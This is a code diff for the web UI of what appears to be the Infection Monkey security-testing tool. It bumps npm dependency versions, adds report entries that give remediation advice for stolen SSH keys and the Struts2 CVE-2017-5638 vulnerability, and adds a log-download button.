+11622,7 @@ "requires": { "jsonschema": "1.2.2", "lodash.topath": "4.5.2", - "prop-types": "15.5.10", + "prop-types": "15.6.1", "setimmediate": "1.0.5" } }, @@ -7559,36 +11649,45 @@ } }, "react-overlays": { - "version": "0.7.0", - "resolved": "https://registry.npmjs.org/react-overlays/-/react-overlays-0.7.0.tgz", - "integrity": "sha1-UxiY/1ZsflxyJurShjuM+fu1qYE=", + "version": "0.7.4", + "resolved": "https://registry.npmjs.org/react-overlays/-/react-overlays-0.7.4.tgz", + "integrity": "sha512-7vsooMx3siLAuEfTs8FYeP/lAORWWFXTO8PON3KgX0Htq1Oa+po6ioSjGyO0/GO5CVSMNhpWt6V2opeexHgBuQ==", "requires": { "classnames": "2.2.5", - "dom-helpers": "3.2.1", - "prop-types": "15.5.10", - "react-prop-types": "0.4.0", - "warning": "3.0.0" - } - }, - "react-prop-types": { - "version": "0.4.0", - "resolved": "https://registry.npmjs.org/react-prop-types/-/react-prop-types-0.4.0.tgz", - "integrity": "sha1-+ZsL+0AGkpya8gUefBQUpcdbk9A=", - "requires": { + "dom-helpers": "3.3.1", + "prop-types": "15.6.1", + "prop-types-extra": "1.0.1", "warning": "3.0.0" } }, "react-redux": { - "version": "5.0.6", - "resolved": "https://registry.npmjs.org/react-redux/-/react-redux-5.0.6.tgz", - "integrity": "sha512-8taaaGu+J7PMJQDJrk/xiWEYQmdo3mkXw6wPr3K3LxvXis3Fymiq7c13S+Tpls/AyNUAsoONkU81AP0RA6y6Vw==", + "version": "5.0.7", + "resolved": "https://registry.npmjs.org/react-redux/-/react-redux-5.0.7.tgz", + "integrity": "sha512-5VI8EV5hdgNgyjfmWzBbdrqUkrVRKlyTKk1sGH3jzM2M2Mhj/seQgPXaz6gVAj2lz/nz688AdTqMO18Lr24Zhg==", "requires": { - "hoist-non-react-statics": "2.3.1", + "hoist-non-react-statics": "2.5.0", "invariant": "2.2.2", - "lodash": "4.17.4", - "lodash-es": "4.17.4", + "lodash": "4.17.10", + "lodash-es": "4.17.10", "loose-envify": "1.3.1", - "prop-types": "15.5.10" + "prop-types": "15.6.1" + }, + "dependencies": { + "hoist-non-react-statics": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/hoist-non-react-statics/-/hoist-non-react-statics-2.5.0.tgz", + "integrity": "sha512-6Bl6XsDT1ntE0lHbIhr4Kp2PGcleGZ66qu5Jqk8lc0Xc/IeG6gVLmwUGs/K0Us+L8VWoKgj0uWdPMataOsm31w==" + }, + "lodash": { + "version": "4.17.10", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.10.tgz", + "integrity": "sha512-UejweD1pDoXu+AD825lWwp4ZGtSwgnpZxb3JDViD7StjQz+Nb/6l093lx4OQ0foGWNRoc19mWy7BzL+UAK2iVg==" + }, + "lodash-es": { + "version": "4.17.10", + "resolved": "https://registry.npmjs.org/lodash-es/-/lodash-es-4.17.10.tgz", + "integrity": "sha512-iesFYPmxYYGTcmQK0sL8bX3TGHyM6b2qREaB4kamHfQyfPJP0xgoGxp19nsH16nsfquLdiyKyX3mQkfiSGV8Rg==" + } } }, "react-router": { @@ -7601,7 +11700,7 @@ "invariant": "2.2.2", "loose-envify": "1.3.1", "path-to-regexp": "1.7.0", - "prop-types": "15.5.10", + "prop-types": "15.6.1", "warning": "3.0.0" }, "dependencies": { @@ -7623,15 +11722,15 @@ "history": "4.7.2", "invariant": "2.2.2", "loose-envify": "1.3.1", - "prop-types": "15.5.10", + "prop-types": "15.6.1", "react-router": "4.2.0", "warning": "3.0.0" } }, "react-table": { - "version": "6.8.0", - "resolved": "https://registry.npmjs.org/react-table/-/react-table-6.8.0.tgz", - "integrity": "sha1-XOQC63Nd9oU0wD2rs/qgMUeLalg=", + "version": "6.8.2", + "resolved": "https://registry.npmjs.org/react-table/-/react-table-6.8.2.tgz", + "integrity": "sha1-Olrvq8hZUzANFnhvowfDBhDbmtw=", "requires": { "classnames": "2.2.5" } @@ -7892,33 +11991,56 @@ } }, "request": { - "version": "2.81.0", - "resolved": "https://registry.npmjs.org/request/-/request-2.81.0.tgz", - "integrity": "sha1-xpKJRqDgbF+Nb4qTM0af/aRimKA=", + "version": "2.85.0", + "resolved": "https://registry.npmjs.org/request/-/request-2.85.0.tgz", + "integrity": "sha512-8H7Ehijd4js+s6wuVPLjwORxD4zeuyjYugprdOXlPSqaApmL/QOy+EB/beICHVCHkGMKNh5rvihb5ov+IDw4mg==", "dev": true, "requires": { - "aws-sign2": "0.6.0", - "aws4": "1.6.0", + "aws-sign2": "0.7.0", + "aws4": "1.7.0", "caseless": "0.12.0", - "combined-stream": "1.0.5", + "combined-stream": "1.0.6", "extend": "3.0.1", "forever-agent": "0.6.1", - "form-data": "2.1.4", - "har-validator": "4.2.1", - "hawk": "3.1.3", - "http-signature": "1.1.1", + "form-data": "2.3.2", + "har-validator": "5.0.3", + "hawk": "6.0.2", + "http-signature": "1.2.0", "is-typedarray": "1.0.0", "isstream": "0.1.2", "json-stringify-safe": "5.0.1", - "mime-types": "2.1.16", + "mime-types": "2.1.18", "oauth-sign": "0.8.2", - "performance-now": "0.2.0", - "qs": "6.4.0", + "performance-now": "2.1.0", + "qs": "6.5.1", "safe-buffer": "5.1.1", "stringstream": "0.0.5", - "tough-cookie": "2.3.2", + "tough-cookie": "2.3.4", "tunnel-agent": "0.6.0", - "uuid": "3.1.0" + "uuid": "3.2.1" + }, + "dependencies": { + "mime-db": { + "version": "1.33.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.33.0.tgz", + "integrity": "sha512-BHJ/EKruNIqJf/QahvxwQZXKygOQ256myeN/Ew+THcAa5q+PjyTTMMeNQC4DZw5AwfvelsUrA6B67NKMqXDbzQ==", + "dev": true + }, + "mime-types": { + "version": "2.1.18", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.18.tgz", + "integrity": "sha512-lc/aahn+t4/SWV/qcmumYjymLsWfN3ELhpmVuUFjgsORruuZPVSwAQryq+HHGvO/SI2KVX26bx+En+zhM8g8hQ==", + "dev": true, + "requires": { + "mime-db": "1.33.0" + } + }, + "qs": { + "version": "6.5.1", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.5.1.tgz", + "integrity": "sha512-eRzhrN1WSINYCDCbrz796z37LOe3m5tmW7RQf6oBntukAG1nmovJvhnwHHRMAfeoItc1m2Hk02WER2aQ/iqs+A==", + "dev": true + } } }, "request-progress": { @@ -7986,9 +12108,9 @@ } }, "rimraf": { - "version": "2.6.1", - "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.6.1.tgz", - "integrity": "sha1-wjOOxkPfeht/5cVPqG9XQopV8z0=", + "version": "2.6.2", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.6.2.tgz", + "integrity": "sha512-lreewLK/BlghmxtfH36YYVg1i8IAce4TI7oao75I1g245+6BctqTVQiBP3YUJ9C6DQOXJmkYR9X9fCLtCOJc5w==", "dev": true, "requires": { "glob": "7.1.2" @@ -8142,12 +12264,12 @@ "dev": true }, "sntp": { - "version": "1.0.9", - "resolved": "https://registry.npmjs.org/sntp/-/sntp-1.0.9.tgz", - "integrity": "sha1-ZUEYTMkK7qbG57NeJlkIJEPGYZg=", + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/sntp/-/sntp-2.1.0.tgz", + "integrity": "sha512-FL1b58BDrqS3A11lJ0zEdnJ3UOKqVxawAkF3k7F0CVN7VQ34aZrV+G8BZ1WC9ZL7NyrwsW0oviwsWDgRuVYtJg==", "dev": true, "requires": { - "hoek": "2.16.3" + "hoek": "4.2.1" } }, "socket.io": { @@ -8387,9 +12509,9 @@ "dev": true }, "sshpk": { - "version": "1.13.1", - "resolved": "https://registry.npmjs.org/sshpk/-/sshpk-1.13.1.tgz", - "integrity": "sha1-US322mKHFEMW3EwY/hzx2UBzm+M=", + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/sshpk/-/sshpk-1.14.1.tgz", + "integrity": "sha1-Ew9Zde3a2WPx1W+SuaxsUfqfg+s=", "dev": true, "requires": { "asn1": "0.2.3", @@ -8400,14 +12522,6 @@ "getpass": "0.1.7", "jsbn": "0.1.1", "tweetnacl": "0.14.5" - }, - "dependencies": { - "assert-plus": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz", - "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=", - "dev": true - } } }, "statuses": { @@ -8778,9 +12892,9 @@ "integrity": "sha1-bkWxJj8gF/oKzH2J14sVuL932jI=" }, "tough-cookie": { - "version": "2.3.2", - "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.3.2.tgz", - "integrity": "sha1-8IH3bkyFcg5sN6X6ztc3FQ2EByo=", + "version": "2.3.4", + "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.3.4.tgz", + "integrity": "sha512-TZ6TTfI5NtZnuyy/Kecv+CnoROnyXn2DN97LontgQpCwsX2XyLYCC0ENhYkehSOwAp8rTQKc/NUIF7BkQ5rKLA==", "dev": true, "requires": { "punycode": "1.4.1" @@ -8858,9 +12972,9 @@ "dev": true }, "ua-parser-js": { - "version": "0.7.14", - "resolved": "https://registry.npmjs.org/ua-parser-js/-/ua-parser-js-0.7.14.tgz", - "integrity": "sha1-EQ1T+kw/MmwSEpK76skE0uAzh8o=" + "version": "0.7.17", + "resolved": "https://registry.npmjs.org/ua-parser-js/-/ua-parser-js-0.7.17.tgz", + "integrity": "sha512-uRdSdu1oA1rncCQL7sCj8vSyZkgtL7faaw9Tc9rZ3mGgraQ7+Pdx7w5mnOSF3gw9ZNG6oc+KXfkon3bKuROm0g==" }, "uglify-js": { "version": "2.8.29", @@ -9029,9 +13143,9 @@ "dev": true }, "uuid": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.1.0.tgz", - "integrity": "sha512-DIWtzUkw04M4k3bf1IcpS2tngXEL26YUD2M0tMDUpnUrz2hgzUBlD55a4FjdLGPvfHxS6uluGWvaVEqgBcVa+g==", + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.2.1.tgz", + "integrity": "sha512-jZnMwlb9Iku/O3smGWvZhauCf6cvvpKi4BKRiliS3cxnI+Gz9j5MEpTz2UFuXiKPJocb7gnsLHwiS05ige5BEA==", "dev": true }, "validate-npm-package-license": { @@ -9070,25 +13184,17 @@ "assert-plus": "1.0.0", "core-util-is": "1.0.2", "extsprintf": "1.3.0" - }, - "dependencies": { - "assert-plus": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz", - "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=", - "dev": true - } } }, "vis": { - "version": "4.20.1", - "resolved": "https://registry.npmjs.org/vis/-/vis-4.20.1.tgz", - "integrity": "sha1-Z+ku2v5y2mOxXJMCmRr57fL4Zhk=", + "version": "4.21.0", + "resolved": "https://registry.npmjs.org/vis/-/vis-4.21.0.tgz", + "integrity": "sha1-3XFji/9/ZJXQC8n0DCU1JhM97Ws=", "requires": { "emitter-component": "1.1.1", "hammerjs": "2.0.8", "keycharm": "0.2.0", - "moment": "2.21.0", + "moment": "2.22.1", "propagating-hammerjs": "1.4.6" } }, @@ -9322,9 +13428,9 @@ "dev": true }, "whatwg-fetch": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/whatwg-fetch/-/whatwg-fetch-2.0.3.tgz", - "integrity": "sha1-nITsLc9oGH/wC8ZOEnS0QhduHIQ=" + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/whatwg-fetch/-/whatwg-fetch-2.0.4.tgz", + "integrity": "sha512-dcQ1GWpOD/eEQ97k66aiEVpNnapVj90/+R+SXTPYGHpYBBypfKJEQjLrvMZ7YXbKm21gXd4NcuxUTjiv1YtLng==" }, "whet.extend": { "version": "0.9.9", diff --git a/monkey_island/cc/ui/package.json b/monkey_island/cc/ui/package.json index 79577f1b6..38c8463fb 100644 --- a/monkey_island/cc/ui/package.json +++ b/monkey_island/cc/ui/package.json @@ -42,18 +42,18 @@ "karma-chai": "^0.1.0", "karma-coverage": "^1.0.0", "karma-mocha": "^1.0.0", - "karma-mocha-reporter": "^2.2.4", + "karma-mocha-reporter": "^2.2.5", "karma-phantomjs-launcher": "^1.0.0", "karma-sourcemap-loader": "^0.3.5", "karma-webpack": "^1.7.0", "minimist": "^1.2.0", - "mocha": "^3.0.0", + "mocha": "^5.2.0", "null-loader": "^0.1.1", "open": "0.0.5", - "phantomjs-prebuilt": "^2.1.15", - "react-addons-test-utils": "^15.0.0", + "phantomjs-prebuilt": "^2.1.16", + "react-addons-test-utils": "^15.6.2", "react-hot-loader": "^1.2.9", - "rimraf": "^2.4.3", + "rimraf": "^2.6.2", "style-loader": "^0.13.2", "url-loader": "^0.5.9", "webpack": "^1.15.0", @@ -61,28 +61,29 @@ }, "dependencies": { "bootstrap": "^3.3.7", - "core-js": "^2.5.1", + "core-js": "^2.5.5", "downloadjs": "^1.4.7", "fetch": "^1.1.0", "js-file-download": "^0.4.1", "json-loader": "^0.5.7", "jwt-decode": "^2.2.0", - "moment": "^2.21.0", + "moment": "^2.22.1", "normalize.css": "^4.0.0", - "prop-types": "^15.5.10", + "npm": "^5.8.0", + "prop-types": "^15.6.1", "rc-progress": "^2.2.5", - "react": "^15.6.1", - "react-bootstrap": "^0.31.2", - "react-copy-to-clipboard": "^5.0.0", - "react-data-components": "^1.1.1", + "react": "^15.6.2", + "react-bootstrap": "^0.31.5", + "react-copy-to-clipboard": "^5.0.1", + "react-data-components": "^1.2.0", "react-dimensions": "^1.3.0", - "react-dom": "^15.6.1", + "react-dom": "^15.6.2", "react-fa": "^4.2.0", - "react-graph-vis": "^0.1.3", + "react-graph-vis": "^0.1.4", "react-json-tree": "^0.10.9", "react-jsonschema-form": "^0.50.1", "react-modal-dialog": "^4.0.7", - "react-redux": "^5.0.6", + "react-redux": "^5.0.7", "react-router-dom": "^4.2.2", "react-table": "^6.7.4", "react-toggle": "^4.0.1", diff --git a/monkey_island/cc/ui/src/components/pages/MapPage.js b/monkey_island/cc/ui/src/components/pages/MapPage.js index 00c0cba3c..193aae838 100644 --- a/monkey_island/cc/ui/src/components/pages/MapPage.js +++ b/monkey_island/cc/ui/src/components/pages/MapPage.js @@ -45,7 +45,7 @@ class MapPageComponent extends AuthComponent { .then(res => res.json()) .then(res => { res.edges.forEach(edge => { - edge.color = edgeGroupToColor(edge.group); + edge.color = {'color': edgeGroupToColor(edge.group)}; }); this.setState({graph: res}); this.props.onStatusChange(); diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index 7590dbcae..f459af8ce 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -7,7 +7,7 @@ import {edgeGroupToColor, options} from 'components/map/MapOptions'; import StolenPasswords from 'components/report-components/StolenPasswords'; import CollapsibleWellComponent from 'components/report-components/CollapsibleWell'; import {Line} from 'rc-progress'; -import AuthComponent from 'components/AuthComponent'; +import AuthComponent from '../AuthComponent'; import PassTheHashMapPageComponent from "./PassTheHashMapPage"; import SharedCreds from "components/report-components/SharedCreds"; import StrongUsers from "components/report-components/StrongUsers"; @@ -26,7 +26,9 @@ class ReportPageComponent extends AuthComponent { SAMBACRY: 3, SHELLSHOCK: 4, CONFICKER: 5, - AZURE: 6 + AZURE: 6, + STOLEN_SSH_KEYS: 7, + STRUTS2: 8 }; Warning = @@ -297,6 +299,8 @@ class ReportPageComponent extends AuthComponent { return x === true; }).length} threats:
    + {this.state.report.overview.issues[this.Issue.STOLEN_SSH_KEYS] ? +
  • Stolen SSH keys are used to exploit other machines.
  • : null } {this.state.report.overview.issues[this.Issue.STOLEN_CREDS] ?
  • Stolen credentials are used to exploit other machines.
  • : null} {this.state.report.overview.issues[this.Issue.ELASTIC] ? @@ -322,7 +326,10 @@ class ReportPageComponent extends AuthComponent {
  • Azure machines expose plaintext passwords. (More info)
  • : null} - + {this.state.report.overview.issues[this.Issue.STRUTS2] ? +
  • Struts2 servers are vulnerable to remote code execution. ( + CVE-2017-5638)
  • : null }
: @@ -347,7 +354,7 @@ class ReportPageComponent extends AuthComponent {
  • Weak segmentation - Machines from different segments are able to communicate.
  • : null} {this.state.report.overview.warnings[this.Warning.TUNNEL] ? -
  • Weak segmentation - machines were able to communicate over unused ports.
  • : null} +
  • Weak segmentation - Machines were able to communicate over unused ports.
  • : null} : @@ -417,6 +424,9 @@ class ReportPageComponent extends AuthComponent {
    +
    + +
    {this.generateReportPthMap()}
    @@ -589,6 +599,22 @@ class ReportPageComponent extends AuthComponent { ); } + generateSshKeysIssue(issue) { + return ( +
  • + Protect {issue.ssh_key} private key with a pass phrase. + + The machine {issue.machine} ({issue.ip_address}) is vulnerable to a SSH attack. +
    + The Monkey authenticated over the SSH protocol with private key {issue.ssh_key}. +
    +
  • + ); + } + generateRdpIssue(issue) { return (
  • @@ -717,6 +743,24 @@ class ReportPageComponent extends AuthComponent { ); } + generateStruts2Issue(issue) { + return ( +
  • + Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions. + + Struts2 server at {issue.machine} ({issue.ip_address}) is vulnerable to remote code execution attack. +
    + The attack was made possible because the server is using an old version of Jakarta based file upload + Multipart parser. For possible work-arounds and more info read here. +
    +
  • + ); + } + generateIssue = (issue) => { @@ -737,6 +781,9 @@ class ReportPageComponent extends AuthComponent { case 'ssh': data = this.generateSshIssue(issue); break; + case 'ssh_key': + data = this.generateSshKeysIssue(issue); + break; case 'rdp': data = this.generateRdpIssue(issue); break; @@ -761,6 +808,9 @@ class ReportPageComponent extends AuthComponent { case 'azure_password': data = this.generateAzureIssue(issue); break; + case 'struts2': + data = this.generateStruts2Issue(issue); + break; } return data; }; diff --git a/monkey_island/cc/ui/src/components/pages/TelemetryPage.js b/monkey_island/cc/ui/src/components/pages/TelemetryPage.js index 099c20a43..a23dd1d36 100644 --- a/monkey_island/cc/ui/src/components/pages/TelemetryPage.js +++ b/monkey_island/cc/ui/src/components/pages/TelemetryPage.js @@ -1,8 +1,9 @@ import React from 'react'; -import {Col} from 'react-bootstrap'; +import {Button, Col} from 'react-bootstrap'; import JSONTree from 'react-json-tree' import {DataTable} from 'react-data-components'; import AuthComponent from '../AuthComponent'; +import download from 'downloadjs' const renderJson = (val) => ; const renderTime = (val) => val.split('.')[0]; @@ -28,21 +29,47 @@ class TelemetryPageComponent extends AuthComponent { .then(res => this.setState({data: res.objects})); }; +downloadIslandLog = () => { + this.authFetch('/api/log/island/download') + .then(res => res.json()) + .then(res => { + let filename = 'Island_log' + let logContent = (res['log_file']); + download(logContent, filename, 'text/plain'); + }); + }; + render() { return ( - -

    Log

    -
    - -
    - +
    +
    + +

    Log

    +
    + +
    + +
    +
    + +

    Monkey Island Logs

    +
    +

    Download Monkey Island internal log file

    + +
    + +
    +
    ); } } diff --git a/monkey_island/deb-package/DEBIAN/control b/monkey_island/deb-package/DEBIAN/control index 2426feecb..2693afbd9 100644 --- a/monkey_island/deb-package/DEBIAN/control +++ b/monkey_island/deb-package/DEBIAN/control @@ -5,4 +5,4 @@ Homepage: http://www.guardicore.com Priority: optional Version: 1.0 Description: Guardicore Infection Monkey Island installation package -Depends: openssl, python-pip +Depends: openssl, python-pip, python-dev